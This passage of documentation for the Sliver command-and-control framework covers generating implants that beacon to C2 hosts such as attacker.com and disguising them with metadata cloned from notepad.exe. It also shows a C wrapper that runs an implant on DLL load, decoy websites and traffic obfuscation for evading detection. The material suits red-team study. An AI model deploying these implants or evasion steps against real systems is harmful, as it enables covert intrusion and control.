"--build-flags=\"-tags osusergo,netgo,go_sqlite,server -ldflags='-X github.com/bishopfox/sliver/client/version.Version=0.0.0 -X github.com/bishopfox/sliver/client/version.CompiledAt=Never -X github.com/bishopfox/sliver/client/version.GithubReleasesURL=https://api.github.com/repos/BishopFox/sliver/releases -X github.com/bishopfox/sliver/client/version.GitCommit=debug -X github.com/bishopfox/sliver/client/version.GitDirty=Dirty -X github.com/bishopfox/sliver/client/assets.DefaultArmoryPublicKey=RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L -X github.com/bishopfox/sliver/client/assets.DefaultArmoryRepoURL=https://api.github.com/repos/sliverarmory/armory/releases'\"",
"--headless",
"--listen=:8844",
"--api-version=2",
"--log",
"github.com/bishopfox/sliver/server"
],
"presentation": {
"echo": true,
"reveal": "always",
"focus": true,
"showReuseMessage": false,
"clear": true,
"panel": "new"
},
"problemMatcher": ["$go"]
}Then, you need to create your .vscode/launch.json file containing the following:
{
"version": "0.2.0",
"configurations": [
{
"name": "Debug Server",
"type": "go",
"request": "attach",
"mode": "remote",
"remotePath": "${workspaceFolder}",
"port": 8844,
"host": "127.0.0.1",
"trace": "log"
}
]
}Once you're all set, start by running the Run Debug Server task, and then hit F5 (or use the UI to start the debugging task).
Debugging the Implant
To debug an implant, first make sure you built one by passing the --debug flag to the generate command. Then, add the following debug configuration to your .vscode/launch.json file:
{
"name": "Debug Implant",
"type": "go",
"request": "attach",
"mode": "remote",
"remotePath": "",
"port": "REMOTE_PORT", // replace this
"host": "REMOTE_HOST" // replace this
}The REMOTE_HOST and REMOTE_PORT placeholders will need to be replaced to match the ones you specified on your delve server.
You will need to install the delve debugger on the target host. Once installed, run the delve server using the exec mode on your generated implant binary:
dlv exec --api-version 2 --headless --listen REMOTE_HOST:REMOTE_PORT --log .\implant.exeOnce the server is running on your target, select the Debug Implant debug configuration in VSCode and click on Run.
Sliver Docs Pages Docs Md Environment Variables (`docs/sliver-docs/pages/docs/md/Environment Variables.md`)
Assets
SLIVER_ROOT_DIR- Override sliver root directory, the default is~/.sliver/
Updates
SLIVER_NO_UPDATE_CHECK- If set to any non-blank value, never check for updates
Generate
Override All CC
SLIVER_CC_64- Override all paths to 64 bit cross compilerSLIVER_CC_32- Override all paths to 32 bit cross compiler
Override Platform CC
SLIVER_WINDOWS_CC_64- Override path to Windows 64 bit cross compilerSLIVER_LINUX_CC_64- Override path to Linux 64 bit cross compilerSLIVER_DARWIN_CC_64- Override path to MacOS 64 bit cross compilerSLIVER_WINDOWS_CC_32- Override path to Windows 32 bit cross compilerSLIVER_LINUX_CC_32- Override path to Linux 32 bit cross compiler
Override All CXX
SLIVER_CXX_64- Override all paths to 64 bit cross compilerSLIVER_CXX_32- Override all paths to 32 bit cross compiler
Override Platform CXX
SLIVER_WINDOWS_CXX_64- Override path to Windows 64 bit cross compilerSLIVER_LINUX_CXX_64- Override path to Linux 64 bit cross compilerSLIVER_DARWIN_CXX_64- Override path to MacOS 64 bit cross compilerSLIVER_WINDOWS_CXX_32- Override path to Windows 32 bit cross compilerSLIVER_LINUX_CXX_32- Override path to Linux 32 bit cross compiler
Sliver Docs Pages Docs Md Executable Metadata (`docs/sliver-docs/pages/docs/md/Executable Metadata.md`)
Executable metadata spoofing lets you post-process a generated build and copy metadata/resource details from a donor executable.
Overview
The feature is enabled with the --spoof-metadata flag on generate commands.
- Current format support:
pe(Windows PE) - Config file:
<client app dir>/spoof-metadata.yaml - Default client app dir:
~/.sliver-client
On first client startup, Sliver creates spoof-metadata.yaml if it does not exist.
Flag Usage
--spoof-metadata is off by default.
- No flag: metadata spoofing is not applied.
--spoof-metadata(no argument): use<client app dir>/spoof-metadata.yaml.--spoof-metadata /path/to/donor.exe: use the provided donor file directly.
Path mode validation:
- Currently only supported for Windows PE targets.
- Target output format must be executable, service, or shared library.
- Donor PE machine type must match target architecture (
386,amd64,arm64). - For shared library targets, donor must be a DLL; for executable/service targets, donor must not be a DLL.
When path mode is used, Sliver only uses the donor file bytes as pe.source and does not read override fields from spoof-metadata.yaml.
Quick Start
- Start the client once to generate
~/.sliver-client/spoof-metadata.yaml. - Edit
pe.source.pathto point to a donor PE file. - Generate with
--spoof-metadata.
Example:
sliver > generate --os windows --arch amd64 --format exe --mtls 10.0.0.5 --spoof-metadata -N win-agentDirect donor path example:
sliver > generate --os windows --arch amd64 --format exe --mtls 10.0.0.5 --spoof-metadata /opt/samples/notepad.exe -N win-agentConfig Format
Top-level config:
pe:
source:
name: metadata-source.exe
path: /absolute/path/to/donor.exepe.source is required when using --spoof-metadata.
Fields that can carry binary content (such as source and icon) support:
name: logical filename sent in protobuf metadatapath: local file path read by the clientbase64: inline base64 bytes
name and path are not duplicates:
pathcontrols where bytes are loaded from on the client machine.nameis the filename value sent to the server.
If path is set and name is omitted, Sliver uses basename(path) automatically.
Set only one of path or base64 for each object.
Examples
Minimal Path-Based Config
pe:
source:
name: metadata-source.exe
path: /opt/samples/notepad.exeInclude Icon Donor Bytes
pe:
source:
name: metadata-source.exe
path: /opt/samples/notepad.exe
icon:
name: icon.ico
path: /opt/samples/app.icoInline Base64 Config
pe:
source:
name: metadata-source.exe
base64: TVqQAAMAAAAEAAAA...
icon:
name: icon.ico
base64: AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAA...Advanced Optional PE Structure Fields
These fields are optional and act as PE metadata overrides:
pe:
source:
name: metadata-source.exe
path: /opt/samples/notepad.exe
resource_directory:
major_version: 1
minor_version: 0
time_date_stamp: 1712345678
number_of_named_entries: 0
number_of_id_entries: 0
resource_directory_entries:
- name: 1
offset_to_data: 0
resource_data_entries:
- offset_to_data: 0
size: 0
code_page: 0
reserved: 0
export_directory:
major_version: 1
minor_version: 0
time_date_stamp: 1712345678
number_of_functions: 0
number_of_names: 0Override Behavior
Override order for pe:
- Sliver clones metadata/resources from
pe.source. - Sliver applies explicit override fields from your config.
This means:
- If an override field is set, it replaces the cloned value.
- If an override field is omitted, the cloned donor value is kept.
Resource override details:
resource_directoryoverrides the rootIMAGE_RESOURCE_DIRECTORYfields.resource_directory_entriesoverrides the first N root directory entries in order.resource_data_entriesoverrides the first N resource data entries discovered in resource-tree order.
Export override details:
export_directoryoverrides fields in the PE export directory when that directory exists.- If a PE has no export directory, this override has no effect.
Important:
- In protobuf/YAML, scalar zero values are real override values when the parent block is present.
- When setting partial
resource_directoryvalues, includenumber_of_named_entriesandnumber_of_id_entriesfrom the original header unless you intentionally want to change them.
Notes
- The client reads local file paths and sends bytes to the server over gRPC.
- Spoofing is applied only after a build completes successfully.
- The server applies spoofing to the selected existing build artifact.
- PE support is implemented first; the config is structured for future executable formats.
Sliver Docs Pages Docs Md External Builders (`docs/sliver-docs/pages/docs/md/External Builders.md`)
Sliver supports "external builders," which allow a Sliver server to offload implant builds onto other systems. This can be used to increase platform support (e.g., connecting a MacBook to a Linux server to enable additional MacOS compiler targets) or increase performance (e.g., having a low-powered cloud host offload a local PC).
External builders can also be used to create custom modifications to the implant source code, or potentially replace the default Sliver implant entirely.
flowchart LR
subgraph "External MacOS Builder"
builder["MacOS Builder"] -- "Multiplayer" --> server["Linux Server"]
operator["Windows Operator"] -- "Multiplayer" --> server
server -- ".dylib build task" --> builder
endBuilders
Setup
Any sliver-server binary can be started as a builder process using operator configuration files from multiplayer-mode from the server you want to connect the builder to, for example:
./sliver-server builder -c operator-multiplayer.cfgBuilders follow the operator profile automatically: direct profiles use gRPC/mTLS, while profiles generated with new-operator --enable-wg (or sliver-server operator --enable-wg) contain wg.enabled: true and use WireGuard. No builder flag is required for a correctly generated profile.
Use --enable-wg to force WireGuard for a profile with tunnel settings, or --disable-wg to force a direct connection; the flags cannot be combined. Profiles from the withdrawn WireGuard-by-default release may have a wg block without enabled; builders treat those profiles as direct unless WireGuard is forced explicitly.
When started as a builder, the Sliver process will mirror log output to stdout by default, however this can be disabled (see sliver-server builder --help).
โ ๏ธ IMPORTANT: Builders must have unique names, by default the builder's hostname will be used, but this can be changed using the --name cli flag.
External Builds
Any operator can see which builders are connected to the server using the builders command. This command will also show what templates, formats, and compiler targets each builder supports:
/* Detailed source-code truncated for AI context efficiency. */Use the --external-builder flag to offload a generate or generate beacon command onto an external builder:
sliver > generate --mtls localhost --os mac --arch arm64 --external-builder
[*] Using external builder: molochs-MacBook-Pro-111.local
[*] Externally generating new darwin/arm64 implant binary
[*] Symbol obfuscation is enabled
[*] Creating external build ... done
[*] Build completed in 1m19sIf a given format/target combination is supported by multiple external builders you will be prompted to select one for the build.
Limitations
Currently external builds do not support DNS canaries.
Implant Customization
You are welcome to customize the implant source code under the terms of Sliver's GPLv3 license. While we plan to improve the workflow over time, currently the easiest way to operationalize changes to the implant source code is:
- Fork the main Sliver GitHub repository
- Make modifications to the source code
- Compile a Sliver server binary
- Connect the customized Sliver server binary to any other C2 server (including mainline servers) as an external builder
- Operators can generate the customized implant builds via the
generate --external-builderflag - Avoid making any changes to
/serverto make merging upstream easier if changes are introduced to the builder APIs
Sliver Docs Pages Docs Md GPG Public Key (`docs/sliver-docs/pages/docs/md/GPG Public Key.md`)
GPG siging is deprecated and should be avoided, use the Minisign public key to verify binaries.
Sliver Docs Pages Docs Md Getting Started (`docs/sliver-docs/pages/docs/md/Getting Started.md`)
Download the latest server release for your platform, and just run the binary. That's it, you're pretty much done.
Sliver is designed for a one server deployment per operation. The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux host (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, so if for some odd reason your operators actually want to use Windows you can still accommodate them using multiplayer mode.
Obfuscated builds require git to be installed. Additionally, Sliver has an external dependencies for optional features: Metasploit. To enable some MSF integrations you'll need Metasploit installed on the server.
For a Linux server, you can also use the one-liner installation curl https://sliver.sh/install|sudo bash
{"src": "/asciinema/install-1.cast", "cols": "132"}If you install Sliver via the one-liner, you can check that the server service is running using systemctl status sliver. Note that the Sliver service is not configured to start automatically on boot by default (i.e., if you reboot the server you'll need to start the service again using systemctl start sliver):
{"src": "/asciinema/service-status-1.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}System Requirements
The Sliver server can run effectively on almost any system, however we recommend 8GB or more of RAM for compiling obfuscated implants as the obfuscator may consume large amounts of memory depending on compile-time options. You can leverage external builders in conjunction with low-resource systems to work around hardware limitations of the server (e.g. a low-powered VPS). Symbol obfuscation can also be disabled per-build, see generate --help in the Sliver console.
Note: On MacOS you may need to configure environment variables for MinGW.
See cross-compiling implants for more details.
Metasploit Setup (Optional)
We strongly recommend using the nightly framework installers, Sliver expects MSF version 6.2+.
Implants: Beacon vs. Session
Sliver is generally designed as a stage 2 payload, and as such we have not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of stagers for actual operations (at least in contexts where one may be concerned about file size). Such is the tradeoff for getting easy static compilation in Go.
Sliver implants support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server, retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real-time session using either a persistent connection or long polling depending on the underlying C2 protocol.
Beacons may be tasked to open interactive sessions over any C2 protocol they were compiled with using the interactive command, i.e., if a beacon implant was not compiled with HTTP C2 it cannot open a session over HTTP (use the close command to close the session). Currently implants initially compiled for session mode cannot be converted to beacon mode (we may add this feature later). Take this into account during operational planning.
Some commands such as shell and portfwd only work over interactive sessions.
Generating Implants
Generating implants is done using the generate command, you must specify at least one C2 endpoint using --mtls, --wg, --http, or --dns. Note that when an implant attempts to connect to an endpoint specified using --http it will try both HTTPS and then HTTP (if HTTPS fails). We recommend using mTLS (--mtls) or WireGuard (--wg) whenever possible. You can also specify an output directory with --save, by default the implant will be saved to the current working directory.
Session Mode
{"src": "/asciinema/sliver-generate-1.cast", "cols": "132"}Beacon Mode
{"src": "/asciinema/sliver-generate-2.cast", "cols": "132"}Sliver implants are cross-platform, you can change the compiler target with the --os flag. Sliver accepts any Go GOOS and GOARCH as arguments --os and --arch, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other valid Go GOOS/GOARCH combination. The generate info command will also estimate what compiler targets can be used based on the server's host operating system and available cross-compilers.
Some commands/features may not work on "unsupported" platforms.
sliver > generate --mtls example.com --save /Users/moloch/Desktop --os mac
[*] Generating new darwin/amd64 Sliver binary
[*] Build completed in 00:00:09
[*] Sliver binary saved to: /Users/moloch/Desktop/PROPER_ANTHONYThe server will also assign code names to each generated binary i.e. NEW_GRAPE.exe you can rename the file to anything you need to, but these code names will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the implants command:
sliver > implants
Name OS/Arch Debug Format
==== ======= ===== ======
CAUTIOUS_PANPIPE darwin/amd64 false EXECUTABLE
LATE_SUBCOMPONENT windows/amd64 false SHARED_LIB
RUBBER_PRINTER windows/amd64 true SHARED_LIB
RACIAL_SPECTACLES darwin/amd64 false EXECUTABLE
MATHEMATICAL_SASH darwin/amd64 true SHARED_LIB
MUSHY_TRADITIONALISM windows/amd64 false SHARED_LIB
SICK_SPY darwin/amd64 false EXECUTABLEIf you need to re-download a previously generated implant use the regenerate command, note that positional arguments (the implant name) come after the command flags (e.g., --save):
sliver > regenerate --save /Users/moloch/Desktop NEW_GRAPE
[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exeAdditional Details
For additional details about each C2 please see:
Getting Shells
Before you can catch the shell, you'll first need to start a listener. You use the commands mtls, http, https, and dns to start listeners for each protocol (remember endpoints specified with --http can connect to a https listener). You can use the jobs command to view and manage listeners running in the background. Listeners support both sessions and beacons callbacks:
sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #1
sliver > jobs
ID Name Protocol Port
== ==== ======== ====
1 mTLS tcp 8888In this example we're using Mutual TLS, the required certificates for setting up and securing this connection have already been generated in the background and the client certificate pair was embedded into the implant at compile-time. So to get a shell you just have to run the binary on the target.
Interacting with Sessions
The use command will tab-complete session and beacon identifiers, but you can also type them out if you really want to (identifier prefixes are accepted). Additionally, running the use command with no arguments will enter an interactive menu to select from.
[*] Session 8ff2ce4c LONG_DRAMATURGE - [::1]:57154 (MacBook-Pro-6.local) - darwin/amd64 - Thu, 20 Jan 2022 15:45:10 CST
sliver > use 8ff2ce4c
[*] Active session LONG_DRAMATURGE (8ff2ce4c-9c66-4cbc-b33c-2a56196536e6)
sliver (LONG_DRAMATURGE) > ls
/Users/moloch/Desktop
=====================
.DS_Store 6.0 KiB
.localized 0 B
LONG_DRAMATURGE 6.3 MiBIf you're having problems getting callbacks please see our troubleshooting guide (TL;DR: add the --debug flag when generating an implant).
Interacting with Beacons
Upon initial execution the beacon will register itself with the C2 server and will show up under beacons, each instance of a beacon process will get its own ID and this ID is used for the lifetime of that process (i.e., across key renegotiation, etc). The "Next Check-in" value includes any random jitter (by default up to 30s), and you can also watch your beacons in real time using the beacons watch command. Remember to leverage tab-complete for the UUID when using use:
[*] Beacon 8c465643 RELATIVE_ADVERTISEMENT - 192.168.1.178:54701 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:40:55 CST
[server] sliver > beacons
ID Name Tasks Transport Remote Address Hostname Username Operating System Last Check-In Next Check-In
========== ======================== ======= =========== ===================== ================= =============================== ================== ================ ===============
8c465643 RELATIVE_ADVERTISEMENT 0/0 mtls 192.168.1.178:54701 WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 49.385459s ago 37.614549s
[server] sliver > use 8c465643-0e65-45f2-bb7e-acb3480de3cb
[*] Active beacon RELATIVE_ADVERTISEMENT (8c465643-0e65-45f2-bb7e-acb3480de3cb)
[server] sliver (RELATIVE_ADVERTISEMENT) >You should see a blue prompt indicating that we're interacting with a beacon as opposed to a session (red). Commands are executed the same way as a session, though not all commands are supported in beacon mode.
[server] sliver (RELATIVE_ADVERTISEMENT) > ls
[*] Tasked beacon RELATIVE_ADVERTISEMENT (962978a6)
[+] RELATIVE_ADVERTISEMENT completed task 962978a6
C:\git
======
drwxrwxrwx a <dir> Wed Dec 22 15:34:56 -0600 2021
...Tasks will execute in the order they were created (FIFO).
โ ๏ธ IMPORTANT: Tasks results will block until all tasks that were part of the same "check-in" have completed. If you have one short running and one long running tasks that are executed as part of the same check-in the short task results will wait for the results of the long running task. Consider executing long running tasks on their own interval. This includes tasks assigned by multiple operators, as the implant is not "aware" of the multiple operators.
You can view previous tasks executed by the active beacon using the tasks command:
[server] sliver (RELATIVE_ADVERTISEMENT) > tasks
ID State Message Type Created Sent Completed
========== =========== ============== =============================== =============================== ===============================
90294ad2 completed Ls Sat, 22 Jan 2022 14:45:00 CST Sat, 22 Jan 2022 14:45:11 CST Sat, 22 Jan 2022 14:45:11 CST
962978a6 completed Ls Sat, 22 Jan 2022 14:42:43 CST Sat, 22 Jan 2022 14:43:53 CST Sat, 22 Jan 2022 14:43:53 CSTYou can get the old output from the task using tasks fetch and selecting the task you want to see the output from. Operators in multiplayer mode can fetch output from tasks issued by any other operator on the server. However, operators will only see the automatic results from tasks that they themselves executed. You can disable the automatic display of task results using the settings command.
Switching from Beacon Mode to Session Mode
You can use the interactive command to task a beacon to open an interactive session, with no arguments the current C2 channel will be used:
[server] sliver (RELATIVE_ADVERTISEMENT) > interactive
[*] Using beacon's active C2 endpoint: mtls://192.168.1.150:8888
[*] Tasked beacon RELATIVE_ADVERTISEMENT (3920e899)
[*] Session 223fac7e RELATIVE_ADVERTISEMENT - 192.168.1.178:54733 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:55:24 CSTโ ๏ธ IMPORTANT: You can only open interactive sessions over C2 protocols that were compiled into the binary. For example, if you did not initially compile an implant with --http you won't be able to open an interactive session over HTTP. However, you can specify alternative endpoints (such as a redirector on another domain) using the interactive command's flags.
When you're done using the interactive session use the close command to close the interactive session without killing the implant; the beacon will still perform check-ins while an interactive session is open.
Multiple Domains/Protocols
You can specify multiple domains and protocols during the generation process.
By default Sliver will attempt to use the s sequential connection strategy: the most performant protocols are used first (MTLS -> WG -> HTTP(S) -> DNS) falling back to subsequent domains/protocols if/when connections fail.
sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.ripYou can modify the connection strategy at compile-time using the --strategy flag. For example, you can instruct the implant to r randomly connect to any specified C2 endpoint:
sliver > generate --mtls foo.com,bar.com,baz.com --strategy rWhat Next?
Most commands have a --help and support tab-complete, you may also find the following wiki articles of interest:
Sliver Docs Pages Docs Md Go Archive Output (`docs/sliver-docs/pages/docs/md/Go Archive Output.md`)
Sliver can generate Go c-archive output for use in native link workflows. The archive format returns a ZIP bundle containing the generated static archive (.a) and C headers (.h) produced by Go's c-archive build mode.
Use this format when you want to link the generated implant entrypoint into another native artifact, such as a DLL or application, and validate that the exported symbol resolves correctly in your own loader or harness.
Generate an Archive
For the example, a Windows archive was generated via the Sliver console:
sliver > generate --format archive --os windows --arch amd64 --mtls 127.0.0.1The output ZIP contains an archive (.a) file and the headers (.h).
ARCHITECTURAL_YOKE.a
ARCHITECTURAL_YOKE.h
main.hIf no export symbols are configured, Sliver exports StartW by default. The examples below assume the generated implant name is ARCHITECTURAL_YOKE; replace that name with the files generated in your environment.
Link the Archive into a DLL
Create a wrapper that calls StartW from a worker thread when the DLL loads, which keeps DllMain lightweight and avoids doing long-running initialization work while the Windows loader lock is held.
#include "ARCHITECTURAL_YOKE.h"
#include <windows.h>
DWORD WINAPI WorkerThread(LPVOID lpParam)
{
StartW();
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
if (fdwReason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hinstDLL);
HANDLE hThread = CreateThread(NULL, 0, WorkerThread, NULL, 0, NULL);
if (hThread != NULL) {
CloseHandle(hThread);
}
}
return TRUE;
}Compile the wrapper and link it with the generated archive:
x86_64-w64-mingw32-g++ -std=c++11 -Wall -I. -shared -o beacon.dll wrapper.cpp ARCHITECTURAL_YOKE.aValidate Symbol Resolution
Sample minimal loader to confirm the DLL loads and the StartW export resolves:
#include <windows.h>
#include <stdio.h>
int main() {
HMODULE h = LoadLibraryA("beacon.dll");
if (!h) {
printf("LoadLibrary failed: %lu\n", GetLastError());
return 1;
}
FARPROC p = GetProcAddress(h, "StartW");
printf("LoadLibrary OK, StartW=%p\n", p);
FreeLibrary(h);
return 0;
}Build the loader:
x86_64-w64-mingw32-gcc -Wall -o loader.exe loader.cRun the loader in an authorized local test environment with beacon.dll in the same directory.
Validate Invocation
To validate that the resolved entrypoint can be invoked, use a small test application:
#include <windows.h>
#include <stdio.h>
typedef void (*StartWFn)(void);
int main() {
HMODULE h = LoadLibraryA("beacon.dll");
if (!h) {
printf("LoadLibrary failed: %lu\n", GetLastError());
return 1;
}
StartWFn StartW = (StartWFn)GetProcAddress(h, "StartW");
if (!StartW) {
printf("GetProcAddress failed: %lu\n", GetLastError());
return 1;
}
printf("Calling StartW...\n");
StartW();
printf("StartW returned\n");
FreeLibrary(h);
return 0;
}Build the invocation test:
x86_64-w64-mingw32-gcc -Wall -o call_startw.exe call_startw.cThis validates the archive-to-DLL link path, DLL loading, export lookup, and StartW invocation all work as expected.
Sliver Docs Pages Docs Md HTTPS C2 (`docs/sliver-docs/pages/docs/md/HTTPS C2.md`)
Sliver supports proxy-aware C2 over both HTTP and HTTPS, however since Sliver does not rely upon the SSL/TLS layer for security these protocols are considered somewhat synonymous. There are separate commands for the listeners but an implant generated with --http may attempt to connect over both HTTP and HTTPS (see "under the hood" for more details).
Generate the Implant
Sliver implants are compiled with a baked-in (but obfuscated) server domain that they will reach back out to. To generate a Sliver implant that communicates to a server at example.com run the following:
Basic Example
sliver > generate --http example.com --os mac
[*] Generating new darwin/amd64 implant binary
[*] Build completed in 00:00:05
[*] Implant saved to /Users/moloch/Desktop/WORKING_HACIENDAMultiple Domains
You can also specify multiple domains, in the event the implant cannot connect to the first it will subsequently attempt to connect to each domain you specified in order. Subsequent attempts are made based on the --reconnect argument (default 60 seconds). If no attempts are successful, the implant will loop across all of the domains until --max-errors (default 1000) is reached, at which point the implant will terminate execution:
sliver > generate --http example.com,attacker.com
[*] Generating new windows/amd64 implant binary
[*] Build completed in 00:00:05
[*] Implant saved to /Users/moloch/Desktop/IMPRESSED_METHANEURL Prefixes and Other Options
Some additional options may be passed to the --http C2 flag such as URL path prefixes. Sliver's C2 request URLs are randomly generated as described below, however the operator may specify a path to prepend to every request's path, this can be useful when leveraging HTTP redirectors, etc. To add a URL prefix simply add a path to the domain as shown below:
sliver > generate --http example.com/foo/bar
[*] Generating new windows/amd64 implant binary
[*] Build completed in 00:00:05
[*] Implant saved to /Users/moloch/Desktop/IMPRESSED_METHANEThis implant will now prepend /foo/bar to all generated URLs for example.com. You may specify different path prefixes for different domains if you so choose.
Proxies
The implant attempts to auto-detect proxy settings using a modified version of the go-get-proxied library. It supports detection of system proxy settings on Windows, MacOS, and Linux. In the event the implant cannot make a successful HTTP/HTTPS connection for a given domain using the system proxy settings, it will also attempt to make a connection to the same domain ignoring the proxy settings. The order of connection attempts is as follows:
- HTTPS over system proxy
- HTTP over system proxy
- HTTPS direct connect
- HTTP direct connect
Proxy Configuration
The priority of retrieval is the following:
- Windows
- Environment Variable:
HTTPS_PROXY,HTTP_PROXY,FTP_PROXY, orALL_PROXY.NO_PROXYis respected. - Internet Options: Automatically detect settings (
WPAD) - Internet Options: Use automatic configuration script (
PAC) - Internet Options: Manual proxy server
- WINHTTP: (
netsh winhttp)
- Environment Variable:
- Linux
- Environment Variable:
HTTPS_PROXY,HTTP_PROXY,FTP_PROXY, orALL_PROXY.NO_PROXYis respected.
- Environment Variable:
- MacOS
- Environment Variable:
HTTPS_PROXY,HTTP_PROXY,FTP_PROXY, orALL_PROXY.NO_PROXYis respected. - Network Settings:
scutil
- Environment Variable:
NTLM/Kerberos Proxy Authentication
You can use advanced options to enable the use of the wininet HTTP library, which supports NTLM/Kerberos authentication (Windows only). Using this library tends to be a little less stable (we have to convert Go calls to native DLL calls) and is generally more susceptible to introspection by security products as these functions are well-known and easy to hook. However, if you need NTLM/Kerberos authentication you don't have much of a choice.
Start the Listener
To start an HTTP listener use the http command, with no parameters this will start a listener on port 80 and respond to any domain (i.e., HTTP Host:) that comes in:
sliver > httpYou can optionally restrict the listener to only respond to a specific domain using the --domain flag, currently each listener can only accept a single domain (but you can start any number of listeners you want):
sliver > http --domain example.comStatic Content
Sliver can stand up a website on your HTTP(S) listener in order to make the server look more legitimate. For example, you could put a default IIS index page here and mimic a normal-looking server in case someone comes by snooping. You can manage static content using the websites command (see websites --help):
websites --website fake-blog --web-path / --content ./index.html addEach "website" is identified by a name (fake-blog in the example above) and is essentially just key/value pairs of request paths (e.g. /foo/bar.html) and response content. Currently we don't support any regex matching for paths, it has to be an exact match, so keep that in mind if you're linking to content.
Note: C2-related messages are identified, intercepted, and responded to prior to checking for user-provided website content, so you can actually map content to any URL used for C2.
To use your website with an HTTP(S) listener, specify it using --website when you start the listener:
sliver > http --website fake-blog --domain example.comSSL/TLS Certificates
By default when using the https listener Sliver will simply generate a random self-signed certificate. However, other options do exist. The https listener also supports automatic TLS certificates via Let's Encrypt, which can be enabled using the --lets-encrypt flag.
sliver > https --domain example.com --lets-encryptThis uses Let's Encrypt/ACME HTTP validation, so the server will need the ability to start a public listener and you'll need to have the DNS for your --domain pointed to the Sliver server. If you're having issues pulling a certificate be sure to check the logs.
You can also upload your own SSL/TLS certificate/key pairs:
sliver > https --domain example.com --cert ./cert.pem --key ./key.pem --website fake-blogModifying C2 Traffic
You can make extensive customizations to the HTTP C2 traffic generated by the server and implant by modifying the HTTP C2 configuration file, which by default is located at ~/.sliver/configs/http-c2.json. The configuration file options are described below:
โ ๏ธ WARNING: Making changes to this file may break compatibility with existing implants, therefore you should make your changes to this configuration prior to generating any implants.
`implant_config`
| Field Name | Description |
|---|---|
user_agent |
The implant's user agent, a blank string will randomly generate a platform appropriate user-agent and version (default: blank) |
chrome_base_version |
The Chrome version to put into the user agent head, plus a random value up to 3 (default: 100) |
url_parameters |
A list of objects that contain a name, value, and a probability that should be included as URL query parameters in addition to the ones used by encoders (default: null). Probability may be 1-100, any other value will be treated as 100. URL parameter names must be 3 or more characters. |
headers |
A list of objects that contain a name, value and a probability to add as request headers (default: null) |
max_files |
Max number of random file names to use (default: 8) |
min_files |
Min number of random file names to use (default: 2) |
max_paths |
Max number of path segments to generate per-URL in addition to any prefixes (default: 8) |
min_paths |
Min number of path segments to generate per-URL in addition to any prefixes (default: 2) |
stager_file_ext |
The file extension to associate with stagers (default: .woff) |
stager_files |
A list of strings that should be used as "file name" segments in the URL, appended with stager_file_ext |
stager_paths |
A list of strings that should be used as path segments in the generated URL |
poll_file_ext |
The file extension to associate with poll requests (default: .js) |
poll_files |
A list of strings that should be used as "file name" segments in the URL, appended with poll_file_ext |
poll_paths |
A list of strings that should be used as path segments in the generated URL |
start_session_file_ext |
The file extension to associate with key exchange messages (default: .html) |
session_file_ext |
The file extension to associate with session messages (default: .php) |
session_files |
A list of strings that should be used as "file name" segments in the URL, appended with session_file_ext and start_session_file_ext |
session_paths |
A list of strings that should be used as path segments in the generated URLs |
close_file_ext |
The file extension to associate with close session messages (default: .png) |
close_files |
A list of strings that should be used as "file name" segments in the URL, appended with close_file_ext |
close_paths |
A list of strings that should be used as path segments in generated URLs |
`server_config`
| Field Name | Description |
|---|---|
random_version_headers |
Boolean value, if enabled the server will return random Apache/Nginx and PHP version numbers (default: false) |
headers |
A list of objects containing a name, value, and a probability that should be included as response headers. Probability may be 1-100, any other value will be treated as 100. |
cookies |
A list of strings to use as cookie names |
Under the Hood
This section covers the "under the hood" implementation details of Sliver's HTTP C2, and may be useful for users who want to understand, extend, or are simply curious about Sliver's design.
Design Goals
The primary goals of the existing HTTP C2 design are to:
- Reliable Connections The implant's foremost goal is to get a connection out of the network, regardless of the environment's configuration.
- Data Security I won't cover this here, but click here for details.
- Network Layer Evasion C2 messages should be hard to detect from the network layer, this is done via "Procedural C2" as detailed below.
Procedural HTTP C2
Sliver procedurally generates each HTTP request with the C2 data in it based on the configuration file described above. Each request will have randomized URLs and query arguments, and different types of messages also use different file extensions/paths.
Each implant is also only embedded with a randomly generated subset of the server's C2 profile, so two or more implants generated from the same server may not generate similar URLs depending on how you tweak the configuration.
Implant-side
The high level process to generate and send a standard session request is (note: this is all after the key exchange, which I'm skipping for now):
- Randomly generate the request path using built-in path segments. The path will have one of the following extensions, which indicate the type of request. This is distinct from a message type, the message type (i.e., the type of command) is in the encrypted payload so it cannot be determined without the session key. Everything in the path except for the extension is ignored by the server.
In the default configuration:
.woff= Stagers.js= Long poll messages.html= Key exchange messages.php= Session messages.png= Close session messages
- Randomly select an encoder from
sliver/encoders, an encoder defines how the message we're trying to send to the server gets encoded. Note that we're always encoding the ciphertext of a message, these encoders are purely for obfuscation not security. The currently supported encoders are:
- Base64 Base64 with a custom alphabet so that it's not interoperable with standard Base64
- Hex Standard hexadecimal encoding with ASCII characters
- Gzip Standard gzip
- English Encodes arbitrary data as English ASCII text
- PNG Encodes arbitrary data into valid PNG image files
- Gzip+English A combination of the Gzip and English encoders
- Base64+Gzip A combination of the Base64 and Gzip encoders
Each of these encoders has a unique "Encoder ID," which is currently hardcoded but we'll probably randomly generate these per-server in the future.
- Generate a
nonce, the nonce is equal to a random number times theEncoderModulusplus the encoder ID; theEncoderModulusis currently a hardcoded constant value, but we may generate this per-server in the future. The server does the opposite (nonce moduloEncoderModulus) to determine the original Encoder ID. In code this looks like:
